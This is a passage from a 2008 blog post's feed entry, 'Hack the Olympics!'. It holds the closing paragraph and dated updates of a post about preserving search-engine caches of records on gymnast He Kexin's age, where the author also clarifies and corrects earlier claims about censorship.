rewritten by Chinese censors, but the possibility does present itself.&lt;/li&gt;&lt;li&gt; From the minute I pressed the publish button on this blog, the clock is ticking until Kexin's true age is wiped out of the Baidu cache forever. It is up to you, the folks reading this blog, to take your own screenshots and notarize them by publishing them. If you put a link in the comments section, I'll post it.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In closing, I'd like to point out that this is not an anti-China post; far from it. While I may disagree with the effort the Chinese government is making to conceal this young woman's age, I have the utmost respect for the Chinese people, and I believe that united they will be able to make state sponsored censorship a thing of the past.&lt;/p&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;a href="http://digg.com/olympics/Stryde_Hax_Hack_the_Olympics"&gt;Digg This&lt;/a&gt;&lt;br /&gt;&lt;h3&gt;Update 8/27/2008&lt;/h3&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;It seems that most of the traffic to this blog is still coming here, to the original post. I'd like to point out for the record, this is the first blog post I've ever written in my life. I did my best. That said, there's now a &lt;i&gt;lot&lt;/i&gt; more to the story. Please visit &lt;a href="http://strydehax.blogspot.com"&gt;http://strydehax.blogspot.com&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;One side bar to this post that keeps getting picked up is my statement that censors could have had access to the search engine results. It remains true that this is &lt;i&gt;possible&lt;/i&gt;, or at least I cannot disprove it. However, it is very important to note that documents disappearing from web servers is very different from results leaving a search engine. Results "time out" and naturally remove themselves from search engines all the time; this is a natural artifact of how the technology works. Hence I cannot in any way state that there is evidence that information is being intentionally removed from search engines. When I was writing this, it seemed like &lt;i&gt;everything  I clicked on&lt;/i&gt; had already been deleted; in retrospect, it's important to differentiate between missing documents on web servers (which is highly suspicious) and missing search engine results, which can simply be an artifact of the search engine catching up. I hope this clarifies things.&lt;/li&gt;&lt;/ul&gt; &lt;h3&gt;Update 8/22/2008&lt;/h3&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Referred to this story directly? Please see the rest of my blog, as I attempt to follow up in real time: &lt;a href="http://strydehax.blogspot.com"&gt;strydehax.blogspot.com&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Many readers have pointed out mistakes in this posting, including my use of the phrase "Ms. Kexin", which is incorrect (the correct name order dictates the phrase "Ms. He". I have decided not to modify my original posting. If I go back and change my mistakes, how can I comment honestly on the topic of online redaction?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;I've recently been alerted to this &lt;a href="http://www.huffingtonpost.com/david-flumenbaum/scandal-of-the-ages-docum_b_118842.html"&gt;excellent Huffington Post article&lt;/a&gt; which uses screenshots of primary sources regarding He Kexin. This is the type of reporting I was originally looking for! One guy can't read everything. Tip o' the hat.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;Update 8/20/2008&lt;/h3&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;New to the story? Check out &lt;a href="http://strydehax.blogspot.com/2008/08/olympic-hacking-part-ii-lets-go-for.html"&gt;Part II&lt;/a&gt;&lt;/LI&gt;&lt;br /&gt;&lt;li&gt;Well, this has hit Slashdot and appears to have legs. I am approving comments as fast as I can; bear with me&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Readers in the comment section have noted that I misspelled Ms. Kexin's name as Hexin; corrected&lt;/li&gt;&lt;br /&gt;&lt;li&gt;I have received several comments to the effect of "Who cares how old she is?". In response: certainly not me. This blog is about government censorship and state sponsored fraud. I am attempting to demonstrate the power of free citizens to subvert government censorship. The finer points of gymnastics competitions are outside the scope of this post.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;An alert reader has alerted me that perhaps the New York Times was the first to run across these documents, in their story &lt;a href="http://www.nytimes.com/2008/07/27/sports/olympics/27gymnasts.html"&gt;here&lt;/a&gt;. In fact, it may have been visits by the NY Times reporter to the official web site that originally caused the Excel spreadsheets to be deleted. I find it unfortunate that at the time the NYTimes did not 'notarize' and redistribute the primary documents when they were found, if this is the case. Either way, it appears readers of this blog have taken up the torch. The truth isn't going to be stamped out.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;I am amazed at the outpouring of technical support and mirrors contributed by readers in order to preserve these records. I will continue to post every one I receive; thank you.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;I can be reached privately via stryde dot blog at gmail dot com&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-3225564229470546132?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/OC2GXPTYFmPQ28eC-gay-7V15Cg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/OC2GXPTYFmPQ28eC-gay-7V15Cg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/OC2GXPTYFmPQ28eC-gay-7V15Cg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/OC2GXPTYFmPQ28eC-gay-7V15Cg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/jHMOvKSfLOc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/3225564229470546132/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=3225564229470546132" title="301 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/3225564229470546132?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/3225564229470546132?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/jHMOvKSfLOc/hack-olympics.html" title="Hack the Olympics!" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_bkUaeM7papk/SKswt0Ode9I/AAAAAAAAAAM/LbvljJGoShY/s72-c/google-results-1.jpg" height="72" width="72" /><thr:total>301</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/08/hack-olympics.html</feedburner:origLink></entry></feed>

